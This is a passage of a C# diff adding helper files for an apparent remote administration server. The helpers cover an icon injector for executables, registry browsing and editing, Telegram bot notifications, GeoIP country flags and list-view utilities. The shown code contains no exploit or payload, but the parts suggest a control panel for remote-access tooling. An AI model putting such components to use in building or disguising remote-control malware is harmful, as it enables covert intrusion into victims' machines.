_recStringView.X += _editor.EntityMargin;
}
public void Paint(Graphics g, int index, int startIndex)
{
Point byteColumnAndRow = GetByteColumnAndRow(index);
if (_editor.IsSelected(index + startIndex))
{
PaintByteAsSelected(g, byteColumnAndRow, index + startIndex);
}
else
{
PaintByte(g, byteColumnAndRow, index + startIndex);
}
}
private void PaintByteAsSelected(Graphics g, Point point, int index)
{
SolidBrush brush = new SolidBrush(_editor.SelectionBackColor);
SolidBrush brush2 = new SolidBrush(_editor.SelectionForeColor);
RectangleF bound = GetBound(point);
char byteAsChar = _editor.GetByteAsChar(index);
string s = (char.IsControl(byteAsChar) ? "." : byteAsChar.ToString());
g.FillRectangle(brush, bound);
g.DrawString(s, _editor.Font, brush2, bound, _stringFormat);
}
private void PaintByte(Graphics g, Point point, int index)
{
SolidBrush brush = new SolidBrush(_editor.ForeColor);
RectangleF bound = GetBound(point);
char byteAsChar = _editor.GetByteAsChar(index);
string s = (char.IsControl(byteAsChar) ? "." : byteAsChar.ToString());
g.DrawString(s, _editor.Font, brush, bound, _stringFormat);
}
private Point GetCaretLocation(int index)
{
int x = _recStringView.X + (int)_editor.CharSize.Width * (index % _editor.BytesPerLine);
int y = _recStringView.Y + _recStringView.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine);
return new Point(x, y);
}
private void HandleUserRemove()
{
int selectionStart = _editor.SelectionStart;
Point caretLocation = GetCaretLocation(selectionStart);
_editor.RemoveSelectedBytes();
_editor.SetCaretStart(selectionStart, caretLocation);
}
private void HandleUserInput(char key)
{
if (_editor.CaretFocused)
{
HandleUserRemove();
byte item = Convert.ToByte(key);
if (_editor.HexTableLength <= 0)
{
_editor.AppendByte(item);
}
else
{
_editor.InsertByte(_editor.CaretIndex, item);
}
int index = _editor.CaretIndex + 1;
Point caretLocation = GetCaretLocation(index);
_editor.SetCaretStart(index, caretLocation);
}
}
private Point GetByteColumnAndRow(int index)
{
int x = index % _editor.BytesPerLine;
int y = index / _editor.BytesPerLine;
return new Point(x, y);
}
private RectangleF GetBound(Point point)
{
return new RectangleF(_recStringView.X + point.X * (int)_editor.CharSize.Width, _recStringView.Y + point.Y * _recStringView.Height, _editor.CharSize.Width, _recStringView.Height);
}
}

183
Helper/IconInjector.cs Normal file
View File

@@ -0,0 +1,183 @@
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security;
namespace Server.Helper;
public static class IconInjector
{
[SuppressUnmanagedCodeSecurity]
private class NativeMethods
{
[DllImport("kernel32")]
public static extern IntPtr BeginUpdateResource(string fileName, [MarshalAs(UnmanagedType.Bool)] bool deleteExistingResources);
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool UpdateResource(IntPtr hUpdate, IntPtr type, IntPtr name, short language, [MarshalAs(UnmanagedType.LPArray, SizeParamIndex = 5)] byte[] data, int dataSize);
[DllImport("kernel32")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool EndUpdateResource(IntPtr hUpdate, [MarshalAs(UnmanagedType.Bool)] bool discard);
}
private struct ICONDIR
{
public ushort Reserved;
public ushort Type;
public ushort Count;
}
private struct ICONDIRENTRY
{
public byte Width;
public byte Height;
public byte ColorCount;
public byte Reserved;
public ushort Planes;
public ushort BitCount;
public int BytesInRes;
public int ImageOffset;
}
private struct BITMAPINFOHEADER
{
public uint Size;
public int Width;
public int Height;
public ushort Planes;
public ushort BitCount;
public uint Compression;
public uint SizeImage;
public int XPelsPerMeter;
public int YPelsPerMeter;
public uint ClrUsed;
public uint ClrImportant;
}
[StructLayout(LayoutKind.Sequential, Pack = 2)]
private struct GRPICONDIRENTRY
{
public byte Width;
public byte Height;
public byte ColorCount;
public byte Reserved;
public ushort Planes;
public ushort BitCount;
public int BytesInRes;
public ushort ID;
}
private class IconFile
{
private ICONDIR iconDir;
private ICONDIRENTRY[] iconEntry;
private byte[][] iconImage;
public int ImageCount => iconDir.Count;
public byte[] ImageData(int index)
{
return iconImage[index];
}
public static IconFile FromFile(string filename)
{
IconFile iconFile = new IconFile();
byte[] array = File.ReadAllBytes(filename);
GCHandle gCHandle = GCHandle.Alloc(array, GCHandleType.Pinned);
iconFile.iconDir = (ICONDIR)Marshal.PtrToStructure(gCHandle.AddrOfPinnedObject(), typeof(ICONDIR));
iconFile.iconEntry = new ICONDIRENTRY[iconFile.iconDir.Count];
iconFile.iconImage = new byte[iconFile.iconDir.Count][];
int num = Marshal.SizeOf(iconFile.iconDir);
Type typeFromHandle = typeof(ICONDIRENTRY);
int num2 = Marshal.SizeOf(typeFromHandle);
for (int i = 0; i <= iconFile.iconDir.Count - 1; i++)
{
ICONDIRENTRY iCONDIRENTRY = (ICONDIRENTRY)Marshal.PtrToStructure(new IntPtr(gCHandle.AddrOfPinnedObject().ToInt64() + num), typeFromHandle);
iconFile.iconEntry[i] = iCONDIRENTRY;
iconFile.iconImage[i] = new byte[iCONDIRENTRY.BytesInRes];
Buffer.BlockCopy(array, iCONDIRENTRY.ImageOffset, iconFile.iconImage[i], 0, iCONDIRENTRY.BytesInRes);
num += num2;
}
gCHandle.Free();
return iconFile;
}
public byte[] CreateIconGroupData(uint iconBaseID)
{
byte[] array = new byte[Marshal.SizeOf(typeof(ICONDIR)) + Marshal.SizeOf(typeof(GRPICONDIRENTRY)) * ImageCount];
GCHandle gCHandle = GCHandle.Alloc(array, GCHandleType.Pinned);
Marshal.StructureToPtr(iconDir, gCHandle.AddrOfPinnedObject(), fDeleteOld: false);
int num = Marshal.SizeOf(iconDir);
for (int i = 0; i <= ImageCount - 1; i++)
{
GRPICONDIRENTRY structure = default(GRPICONDIRENTRY);
BITMAPINFOHEADER bITMAPINFOHEADER = default(BITMAPINFOHEADER);
GCHandle gCHandle2 = GCHandle.Alloc(bITMAPINFOHEADER, GCHandleType.Pinned);
Marshal.Copy(ImageData(i), 0, gCHandle2.AddrOfPinnedObject(), Marshal.SizeOf(typeof(BITMAPINFOHEADER)));
gCHandle2.Free();
structure.Width = iconEntry[i].Width;
structure.Height = iconEntry[i].Height;
structure.ColorCount = iconEntry[i].ColorCount;
structure.Reserved = iconEntry[i].Reserved;
structure.Planes = bITMAPINFOHEADER.Planes;
structure.BitCount = bITMAPINFOHEADER.BitCount;
structure.BytesInRes = iconEntry[i].BytesInRes;
structure.ID = Convert.ToUInt16(iconBaseID + i);
Marshal.StructureToPtr(structure, new IntPtr(gCHandle.AddrOfPinnedObject().ToInt64() + num), fDeleteOld: false);
num += Marshal.SizeOf(typeof(GRPICONDIRENTRY));
}
gCHandle.Free();
return array;
}
}
public static void InjectIcon(string exeFileName, string iconFileName)
{
InjectIcon(exeFileName, iconFileName, 1u, 1u);
}
public static void InjectIcon(string exeFileName, string iconFileName, uint iconGroupID, uint iconBaseID)
{
IconFile iconFile = IconFile.FromFile(iconFileName);
IntPtr hUpdate = NativeMethods.BeginUpdateResource(exeFileName, deleteExistingResources: false);
byte[] array = iconFile.CreateIconGroupData(iconBaseID);
NativeMethods.UpdateResource(hUpdate, new IntPtr(14L), new IntPtr(iconGroupID), 0, array, array.Length);
for (int i = 0; i <= iconFile.ImageCount - 1; i++)
{
byte[] array2 = iconFile.ImageData(i);
NativeMethods.UpdateResource(hUpdate, new IntPtr(3L), new IntPtr(iconBaseID + i), 0, array2, array2.Length);
}
NativeMethods.EndUpdateResource(hUpdate, discard: false);
}
}

View File

@@ -0,0 +1,60 @@
using System.Collections;
using System.Windows.Forms;
namespace Server.Helper;
public class ListViewColumnSorter : IComparer
{
private int ColumnToSort;
private SortOrder OrderOfSort;
private CaseInsensitiveComparer ObjectCompare;
public int SortColumn
{
get
{
return ColumnToSort;
}
set
{
ColumnToSort = value;
}
}
public SortOrder Order
{
get
{
return OrderOfSort;
}
set
{
OrderOfSort = value;
}
}
public ListViewColumnSorter()
{
ColumnToSort = 0;
OrderOfSort = SortOrder.None;
ObjectCompare = new CaseInsensitiveComparer();
}
public int Compare(object x, object y)
{
ListViewItem listViewItem = (ListViewItem)x;
ListViewItem listViewItem2 = (ListViewItem)y;
int num = ObjectCompare.Compare(listViewItem.SubItems[ColumnToSort].Text, listViewItem2.SubItems[ColumnToSort].Text);
if (OrderOfSort == SortOrder.Ascending)
{
return num;
}
if (OrderOfSort == SortOrder.Descending)
{
return -num;
}
return 0;
}
}

View File

@@ -0,0 +1,12 @@
using System.Reflection;
using System.Windows.Forms;
namespace Server.Helper;
public static class ListviewDoubleBuffer
{
public static void Enable(ListView listView)
{
typeof(Control).GetProperty("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(listView, true, null);
}
}

121
Helper/Methods.cs Normal file
View File

@@ -0,0 +1,121 @@
using System;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Server.Helper;
public static class Methods
{
private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
public static Random Random = new Random();
private const int LVM_FIRST = 4096;
private const int LVM_SETITEMSTATE = 4139;
private const int WM_VSCROLL = 277;
private static readonly IntPtr SB_PAGEBOTTOM = new IntPtr(7);
public static void RecursiveDelete(string path)
{
DirectoryInfo directoryInfo = new DirectoryInfo(path);
if (!directoryInfo.Exists)
{
return;
}
DirectoryInfo[] directories = directoryInfo.GetDirectories();
for (int i = 0; i < directories.Length; i++)
{
RecursiveDelete(directories[i].FullName);
}
try
{
directoryInfo.Delete(recursive: true);
}
catch
{
}
}
public static void Log(string msg)
{
try
{
File.AppendAllText("C:\\Temp\\server.log", DateTime.Now.ToString() + " : " + msg + "\n");
}
catch (Exception)
{
}
}
public static void LogEx(Exception ex)
{
try
{
File.AppendAllText("C:\\Temp\\server_ex.log", DateTime.Now.ToString() + " : ex " + ex.Message + " \n" + ex.StackTrace + "\n " + ex.Source + "\n");
}
catch (Exception)
{
}
}
public static string BytesToString(long byteCount)
{
string[] array = new string[7] { "B", "KB", "MB", "GB", "TB", "PB", "EB" };
if (byteCount == 0L)
{
return "0" + array[0];
}
long num = Math.Abs(byteCount);
int num2 = Convert.ToInt32(Math.Floor(Math.Log(num, 1024.0)));
double num3 = Math.Round((double)num / Math.Pow(1024.0, num2), 1);
return (double)Math.Sign(byteCount) * num3 + array[num2];
}
public static async Task FadeIn(Form o, int interval = 80)
{
while (o.Opacity < 1.0)
{
await Task.Delay(interval);
o.Opacity += 0.05;
}
}
public static double DiffSeconds(DateTime startTime, DateTime endTime)
{
return Math.Abs(new TimeSpan(endTime.Ticks - startTime.Ticks).TotalSeconds);
}
public static string GetRandomString(int length)
{
StringBuilder stringBuilder = new StringBuilder(length);
for (int i = 0; i < length; i++)
{
stringBuilder.Append("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"[Random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".Length)]);
}
return stringBuilder.ToString();
}
public static int MakeWin32Long(short wLow, short wHigh)
{
return (wLow << 16) | wHigh;
}
public static void SetItemState(IntPtr handle, int itemIndex, int mask, int value)
{
NativeMethods.LVITEM lVITEM = default(NativeMethods.LVITEM);
lVITEM.stateMask = mask;
lVITEM.state = value;
NativeMethods.LVITEM lParam = lVITEM;
NativeMethods.SendMessageListViewItem(handle, 4139u, new IntPtr(itemIndex), ref lParam);
}
public static void ScrollToBottom(IntPtr handle)
{
NativeMethods.SendMessage(handle, 277u, SB_PAGEBOTTOM, IntPtr.Zero);
}
}

57
Helper/NativeMethods.cs Normal file
View File

@@ -0,0 +1,57 @@
using System;
using System.Runtime.InteropServices;
namespace Server.Helper;
public static class NativeMethods
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
internal struct LVITEM
{
public uint mask;
public int iItem;
public int iSubItem;
public int state;
public int stateMask;
[MarshalAs(UnmanagedType.LPTStr)]
public string pszText;
public int cchTextMax;
public int iImage;
public IntPtr lParam;
public int iIndent;
public int iGroupId;
public uint cColumns;
public IntPtr puColumns;
public IntPtr piColFmt;
public int iGroup;
}
[DllImport("user32.dll", CharSet = CharSet.Auto)]
internal static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, EntryPoint = "SendMessage")]
internal static extern IntPtr SendMessageListViewItem(IntPtr hWnd, uint msg, IntPtr wParam, ref LVITEM lParam);
[DllImport("user32.dll")]
internal static extern bool RegisterHotKey(IntPtr hWnd, int id, uint fsModifiers, int vk);
[DllImport("user32.dll")]
internal static extern bool UnregisterHotKey(IntPtr hWnd, int id);
[DllImport("uxtheme.dll", CharSet = CharSet.Unicode)]
internal static extern int SetWindowTheme(IntPtr hWnd, string pszSubAppName, string pszSubIdList);
}

39
Helper/ReferenceLoader.cs Normal file
View File

@@ -0,0 +1,39 @@
using System;
using System.Globalization;
using System.Linq;
using System.Reflection;
namespace Server.Helper;
public class ReferenceLoader : MarshalByRefObject
{
public string[] LoadReferences(string assemblyPath)
{
try
{
return (from x in Assembly.ReflectionOnlyLoadFrom(assemblyPath).GetReferencedAssemblies()
select x.FullName).ToArray();
}
catch
{
return null;
}
}
public void AppDomainSetup(string assemblyPath)
{
try
{
AppDomainSetup info = new AppDomainSetup
{
ApplicationBase = AppDomain.CurrentDomain.BaseDirectory
};
AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString(), null, info);
((ReferenceLoader)Activator.CreateInstance(domain, typeof(ReferenceLoader).Assembly.FullName, typeof(ReferenceLoader).FullName, ignoreCase: false, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, null, CultureInfo.CurrentCulture, new object[0]).Unwrap()).LoadReferences(assemblyPath);
AppDomain.Unload(domain);
}
catch
{
}
}
}

53
Helper/RegValueHelper.cs Normal file
View File

@@ -0,0 +1,53 @@
using System;
using Microsoft.Win32;
namespace Server.Helper;
public class RegValueHelper
{
private static string DEFAULT_REG_VALUE = "(Default)";
public static bool IsDefaultValue(string valueName)
{
return string.IsNullOrEmpty(valueName);
}
public static string GetName(string valueName)
{
if (!IsDefaultValue(valueName))
{
return valueName;
}
return DEFAULT_REG_VALUE;
}
public static string RegistryValueToString(RegistrySeeker.RegValueData value)
{
switch (value.Kind)
{
case RegistryValueKind.Binary:
if (value.Data.Length == 0)
{
return "(zero-length binary value)";
}
return BitConverter.ToString(value.Data).Replace("-", " ").ToLower();
case RegistryValueKind.MultiString:
return string.Join(" ", ByteConverter.ToStringArray(value.Data));
case RegistryValueKind.DWord:
{
uint num2 = ByteConverter.ToUInt32(value.Data);
return $"0x{num2:x8} ({num2})";
}
case RegistryValueKind.QWord:
{
ulong num = ByteConverter.ToUInt64(value.Data);
return $"0x{num:x8} ({num})";
}
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
return ByteConverter.ToString(value.Data);
default:
return string.Empty;
}
}
}

View File

@@ -0,0 +1,74 @@
using System;
using Microsoft.Win32;
namespace Server.Helper;
public static class RegistryKeyExtensions
{
public static string RegistryTypeToString(this RegistryValueKind valueKind, object valueData)
{
if (valueData == null)
{
return "(value not set)";
}
switch (valueKind)
{
case RegistryValueKind.Binary:
if (((byte[])valueData).Length == 0)
{
return "(zero-length binary value)";
}
return BitConverter.ToString((byte[])valueData).Replace("-", " ").ToLower();
case RegistryValueKind.MultiString:
return string.Join(" ", (string[])valueData);
case RegistryValueKind.DWord:
return string.Format("0x{0} ({1})", ((uint)(int)valueData).ToString("x8"), ((uint)(int)valueData).ToString());
case RegistryValueKind.QWord:
return string.Format("0x{0} ({1})", ((ulong)(long)valueData).ToString("x8"), ((ulong)(long)valueData).ToString());
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
return valueData.ToString();
default:
return string.Empty;
}
}
public static RegistryKey OpenReadonlySubKeySafe(this RegistryKey key, string name)
{
try
{
return key.OpenSubKey(name, writable: false);
}
catch
{
return null;
}
}
public static RegistryKey OpenWritableSubKeySafe(this RegistryKey key, string name)
{
try
{
return key.OpenSubKey(name, writable: true);
}
catch
{
return null;
}
}
public static string RegistryTypeToString(this RegistryValueKind valueKind)
{
return valueKind switch
{
RegistryValueKind.Binary => "REG_BINARY",
RegistryValueKind.MultiString => "REG_MULTI_SZ",
RegistryValueKind.DWord => "REG_DWORD",
RegistryValueKind.QWord => "REG_QWORD",
RegistryValueKind.String => "REG_SZ",
RegistryValueKind.ExpandString => "REG_EXPAND_SZ",
RegistryValueKind.Unknown => "(Unknown)",
_ => "REG_NONE",
};
}
}

123
Helper/RegistryKeyHelper.cs Normal file
View File

@@ -0,0 +1,123 @@
using System;
using System.Collections.Generic;
using System.Linq;
using Microsoft.Win32;
namespace Server.Helper;
public static class RegistryKeyHelper
{
private static string DEFAULT_VALUE = string.Empty;
public static bool AddRegistryKeyValue(RegistryHive hive, string path, string name, string value, bool addQuotes = false)
{
try
{
using RegistryKey registryKey = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path);
if (registryKey == null)
{
return false;
}
if (addQuotes && !value.StartsWith("\"") && !value.EndsWith("\""))
{
value = "\"" + value + "\"";
}
registryKey.SetValue(name, value);
return true;
}
catch (Exception)
{
return false;
}
}
public static RegistryKey OpenReadonlySubKey(RegistryHive hive, string path)
{
try
{
return RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenSubKey(path, writable: false);
}
catch
{
return null;
}
}
public static bool DeleteRegistryKeyValue(RegistryHive hive, string path, string name)
{
try
{
using RegistryKey registryKey = RegistryKey.OpenBaseKey(hive, RegistryView.Registry64).OpenWritableSubKeySafe(path);
if (registryKey == null)
{
return false;
}
registryKey.DeleteValue(name, throwOnMissingValue: true);
return true;
}
catch (Exception)
{
return false;
}
}
public static bool IsDefaultValue(string valueName)
{
return string.IsNullOrEmpty(valueName);
}
public static RegistrySeeker.RegValueData[] AddDefaultValue(List<RegistrySeeker.RegValueData> values)
{
if (!values.Any((RegistrySeeker.RegValueData value) => IsDefaultValue(value.Name)))
{
values.Add(GetDefaultValue());
}
return values.ToArray();
}
public static RegistrySeeker.RegValueData[] GetDefaultValues()
{
return new RegistrySeeker.RegValueData[1] { GetDefaultValue() };
}
public static RegistrySeeker.RegValueData CreateRegValueData(string name, RegistryValueKind kind, object value = null)
{
RegistrySeeker.RegValueData regValueData = new RegistrySeeker.RegValueData
{
Name = name,
Kind = kind
};
if (value == null)
{
regValueData.Data = new byte[0];
}
else
{
switch (regValueData.Kind)
{
case RegistryValueKind.Binary:
regValueData.Data = (byte[])value;
break;
case RegistryValueKind.MultiString:
regValueData.Data = ByteConverter.GetBytes((string[])value);
break;
case RegistryValueKind.DWord:
regValueData.Data = ByteConverter.GetBytes((uint)(int)value);
break;
case RegistryValueKind.QWord:
regValueData.Data = ByteConverter.GetBytes((ulong)(long)value);
break;
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
regValueData.Data = ByteConverter.GetBytes((string)value);
break;
}
}
return regValueData;
}
private static RegistrySeeker.RegValueData GetDefaultValue()
{
return CreateRegValueData(DEFAULT_VALUE, RegistryValueKind.String);
}
}

173
Helper/RegistrySeeker.cs Normal file
View File

@@ -0,0 +1,173 @@
using System;
using System.Collections.Generic;
using Microsoft.Win32;
using ProtoBuf;
namespace Server.Helper;
public class RegistrySeeker
{
[ProtoContract]
public class RegSeekerMatch
{
[ProtoMember(1)]
public string Key { get; set; }
[ProtoMember(2)]
public RegValueData[] Data { get; set; }
[ProtoMember(3)]
public bool HasSubKeys { get; set; }
public override string ToString()
{
return $"({Key}:{Data})";
}
}
[ProtoContract]
public class RegValueData
{
[ProtoMember(1)]
public string Name { get; set; }
[ProtoMember(2)]
public RegistryValueKind Kind { get; set; }
[ProtoMember(3)]
public byte[] Data { get; set; }
}
private readonly List<RegSeekerMatch> _matches;
public RegSeekerMatch[] Matches => _matches?.ToArray();
public RegistrySeeker()
{
_matches = new List<RegSeekerMatch>();
}
public void BeginSeeking(string rootKeyName)
{
if (!string.IsNullOrEmpty(rootKeyName))
{
using (RegistryKey registryKey = GetRootKey(rootKeyName))
{
if (registryKey != null && registryKey.Name != rootKeyName)
{
string name = rootKeyName.Substring(registryKey.Name.Length + 1);
using RegistryKey registryKey2 = registryKey.OpenReadonlySubKeySafe(name);
if (registryKey2 != null)
{
Seek(registryKey2);
}
return;
}
Seek(registryKey);
return;
}
}
Seek(null);
}
private void Seek(RegistryKey rootKey)
{
if (rootKey == null)
{
foreach (RegistryKey rootKey2 in GetRootKeys())
{
ProcessKey(rootKey2, rootKey2.Name);
}
return;
}
Search(rootKey);
}
private void Search(RegistryKey rootKey)
{
string[] subKeyNames = rootKey.GetSubKeyNames();
foreach (string text in subKeyNames)
{
RegistryKey key = rootKey.OpenReadonlySubKeySafe(text);
ProcessKey(key, text);
}
}
private void ProcessKey(RegistryKey key, string keyName)
{
if (key != null)
{
List<RegValueData> list = new List<RegValueData>();
string[] valueNames = key.GetValueNames();
foreach (string name in valueNames)
{
RegistryValueKind valueKind = key.GetValueKind(name);
object value = key.GetValue(name);
list.Add(RegistryKeyHelper.CreateRegValueData(name, valueKind, value));
}
AddMatch(keyName, RegistryKeyHelper.AddDefaultValue(list), key.SubKeyCount);
}
else
{
AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0);
}
}
private void AddMatch(string key, RegValueData[] values, int subkeycount)
{
RegSeekerMatch item = new RegSeekerMatch
{
Key = key,
Data = values,
HasSubKeys = (subkeycount > 0)
};
_matches.Add(item);
}
public static RegistryKey GetRootKey(string subkeyFullPath)
{
string[] array = subkeyFullPath.Split('\\');
try
{
return array[0] switch
{
"HKEY_CLASSES_ROOT" => RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64),
"HKEY_CURRENT_USER" => RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64),
"HKEY_LOCAL_MACHINE" => RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64),
"HKEY_USERS" => RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64),
"HKEY_CURRENT_CONFIG" => RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64),
_ => throw new Exception("Invalid rootkey, could not be found."),
};
}
catch (SystemException)
{
throw new Exception("Unable to open root registry key, you do not have the needed permissions.");
}
catch (Exception ex2)
{
throw ex2;
}
}
public static List<RegistryKey> GetRootKeys()
{
List<RegistryKey> list = new List<RegistryKey>();
try
{
list.Add(RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry64));
list.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentUser, RegistryView.Registry64));
list.Add(RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64));
list.Add(RegistryKey.OpenBaseKey(RegistryHive.Users, RegistryView.Registry64));
list.Add(RegistryKey.OpenBaseKey(RegistryHive.CurrentConfig, RegistryView.Registry64));
return list;
}
catch (SystemException)
{
throw new Exception("Could not open root registry keys, you may not have the needed permission");
}
catch (Exception ex2)
{
throw ex2;
}
}
}

View File

@@ -0,0 +1,11 @@
using System.Windows.Forms;
namespace Server.Helper;
public class RegistryTreeView : TreeView
{
public RegistryTreeView()
{
SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, value: true);
}
}

View File

@@ -0,0 +1,84 @@
using System.Windows.Forms;
namespace Server.Helper;
public class RegistryValueLstItem : ListViewItem
{
private string _type { get; set; }
private string _data { get; set; }
public string RegName
{
get
{
return base.Name;
}
set
{
base.Name = value;
base.Text = RegValueHelper.GetName(value);
}
}
public string Type
{
get
{
return _type;
}
set
{
_type = value;
if (base.SubItems.Count < 2)
{
base.SubItems.Add(_type);
}
else
{
base.SubItems[1].Text = _type;
}
base.ImageIndex = GetRegistryValueImgIndex(_type);
}
}
public string Data
{
get
{
return _data;
}
set
{
_data = value;
if (base.SubItems.Count < 3)
{
base.SubItems.Add(_data);
}
else
{
base.SubItems[2].Text = _data;
}
}
}
public RegistryValueLstItem(RegistrySeeker.RegValueData value)
{
RegName = value.Name;
Type = value.Kind.RegistryTypeToString();
Data = RegValueHelper.RegistryValueToString(value);
}
private int GetRegistryValueImgIndex(string type)
{
switch (type)
{
case "REG_MULTI_SZ":
case "REG_SZ":
case "REG_EXPAND_SZ":
return 0;
default:
return 1;
}
}
}

24
Helper/TelegramNotify.cs Normal file
View File

@@ -0,0 +1,24 @@
using System;
using System.Net;
using Server.Properties;
namespace Server.Helper;
public class TelegramNotify
{
public static void SendNotify(string _content)
{
if (!Server.Properties.Settings.Default.TelegramEnabled)
{
return;
}
try
{
string address = "https://api.telegram.org/bot" + Server.Properties.Settings.Default.TelegramToken + "/sendMessage?chat_id=" + Server.Properties.Settings.Default.TelegramChatId + "&text=" + _content;
new WebClient().DownloadString(address);
}
catch (Exception)
{
}
}
}

114
Helper/Utils.cs Normal file
View File

@@ -0,0 +1,114 @@
using System;
using System.Drawing;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Reflection;
using cGeoIp;
using Server.Properties;
namespace Server.Helper;
public class Utils
{
private static cGeoMain cGeo = new cGeoMain();
public static Resources rc = new Resources();
public static string LocalIP
{
get
{
try
{
string result;
using (Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.IP))
{
socket.Connect("8.8.8.8", 65530);
result = (socket.LocalEndPoint as IPEndPoint).Address.ToString();
socket.Close();
}
return result;
}
catch
{
}
return string.Empty;
}
}
private static bool IsPrivate(string ipAddress)
{
try
{
int[] array = (from s in ipAddress.Split(new string[1] { "." }, StringSplitOptions.RemoveEmptyEntries)
select int.Parse(s)).ToArray();
if (array[0] == 10 || (array[0] == 192 && array[1] == 168) || (array[0] == 172 && array[1] >= 16 && array[1] <= 31))
{
return true;
}
}
catch
{
}
return false;
}
public static string GetSizeString(long size)
{
string[] array = new string[5] { "B", "KB", "MB", "GB", "TB" };
int num = 0;
float num2 = size;
while (num2 >= 1024f)
{
num2 /= 1024f;
num++;
}
return $"{num2:F1}{array[num]}";
}
public static string GetCountryName(string ip)
{
try
{
return cGeo.GetIpInf(ip).Split(':')[1];
}
catch
{
}
if (!IsPrivate(ip))
{
return "UnKnown";
}
return "Private";
}
public static string GetCountryCode(string ip)
{
try
{
return cGeo.GetIpInf(ip).Split(':')[2];
}
catch
{
}
try
{
return cGeo.GetIpInf(LocalIP).Split(':')[2];
}
catch
{
}
return "";
}
public static Bitmap GetCountryFlag(string code)
{
PropertyInfo property = rc.GetType().GetProperty(code);
if (property != null)
{
return (Bitmap)property.GetValue(code);
}
return null;
}
}

227
Helper/WordTextBox.cs Normal file
View File

@@ -0,0 +1,227 @@
using System;
using System.ComponentModel;
using System.Globalization;
using System.Windows.Forms;
using DevExpress.XtraEditors;
namespace Server.Helper;
public class WordTextBox : TextEdit
{
public enum WordType
{
DWORD,
QWORD
}
private bool isHexNumber;
private WordType type;
private IContainer components;
public int MaxLength
{
get
{
return base.Properties.MaxLength;
}
set
{
base.Properties.MaxLength = value;
}
}
public bool IsHexNumber
{
get
{
return isHexNumber;
}
set
{
if (isHexNumber == value)
{
return;
}
if (value)
{
if (Type == WordType.DWORD)
{
Text = UIntValue.ToString("x");
}
else
{
Text = ULongValue.ToString("x");
}
}
else if (Type == WordType.DWORD)
{
Text = UIntValue.ToString();
}
else
{
Text = ULongValue.ToString();
}
isHexNumber = value;
UpdateMaxLength();
}
}
public WordType Type
{
get
{
return type;
}
set
{
if (type != value)
{
type = value;
UpdateMaxLength();
}
}
}
public uint UIntValue
{
get
{
try
{
if (string.IsNullOrEmpty(Text))
{
return 0u;
}
if (IsHexNumber)
{
return uint.Parse(Text, NumberStyles.HexNumber);
}
return uint.Parse(Text);
}
catch (Exception)
{
return uint.MaxValue;
}
}
}
public ulong ULongValue
{
get
{
try
{
if (string.IsNullOrEmpty(Text))
{
return 0uL;
}
if (IsHexNumber)
{
return ulong.Parse(Text, NumberStyles.HexNumber);
}
return ulong.Parse(Text);
}
catch (Exception)
{
return ulong.MaxValue;
}
}
}
public bool IsConversionValid()
{
if (string.IsNullOrEmpty(Text))
{
return true;
}
if (!IsHexNumber)
{
return ConvertToHex();
}
return true;
}
public WordTextBox()
{
InitializeComponent();
MaxLength = 8;
}
protected override void OnKeyPress(KeyPressEventArgs e)
{
base.OnKeyPress(e);
e.Handled = !IsValidChar(e.KeyChar);
}
private bool IsValidChar(char ch)
{
if (!char.IsControl(ch) && !char.IsDigit(ch))
{
if (IsHexNumber && char.IsLetter(ch))
{
return char.ToLower(ch) <= 'f';
}
return false;
}
return true;
}
private void UpdateMaxLength()
{
if (Type == WordType.DWORD)
{
if (IsHexNumber)
{
MaxLength = 8;
}
else
{
MaxLength = 10;
}
}
else if (IsHexNumber)
{
MaxLength = 16;
}
else
{
MaxLength = 20;
}
}
private bool ConvertToHex()
{
try
{
if (Type == WordType.DWORD)
{
uint.Parse(Text);
}
else
{
ulong.Parse(Text);
}
return true;
}
catch (Exception)
{
return false;
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
}
}